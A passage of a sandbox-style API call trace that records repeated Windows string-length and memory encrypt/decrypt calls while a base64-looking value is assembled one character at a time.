(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.996] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.996] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.997] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.997] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.997] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.997] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.997] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.997] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.997] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.997] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.997] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.997] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.998] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.998] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.998] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.998] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.998] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.998] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.998] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.998] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.998] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.998] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.998] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.998] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.998] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.999] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.999] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.999] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.999] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.999] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.999] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.999] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.999] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.999] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.999] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.999] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.000] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.000] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0139.000] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.000] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.000] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0139.000] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0139.000] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.000] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0139.000] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.000] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.000] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.000] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0139.001] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.001] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0139.001] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.001] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0139.001] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.001] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0139.001] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.001] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.001] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.002] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0139.002] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.002] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.002] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.002] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.002] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0139.003] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.003] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.003] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0139.003] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0139.003] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.003] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0139.003] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.003] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.003] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0139.003] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.003] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.003] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0139.004] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.004] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0139.004] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.004] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0139.004] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen 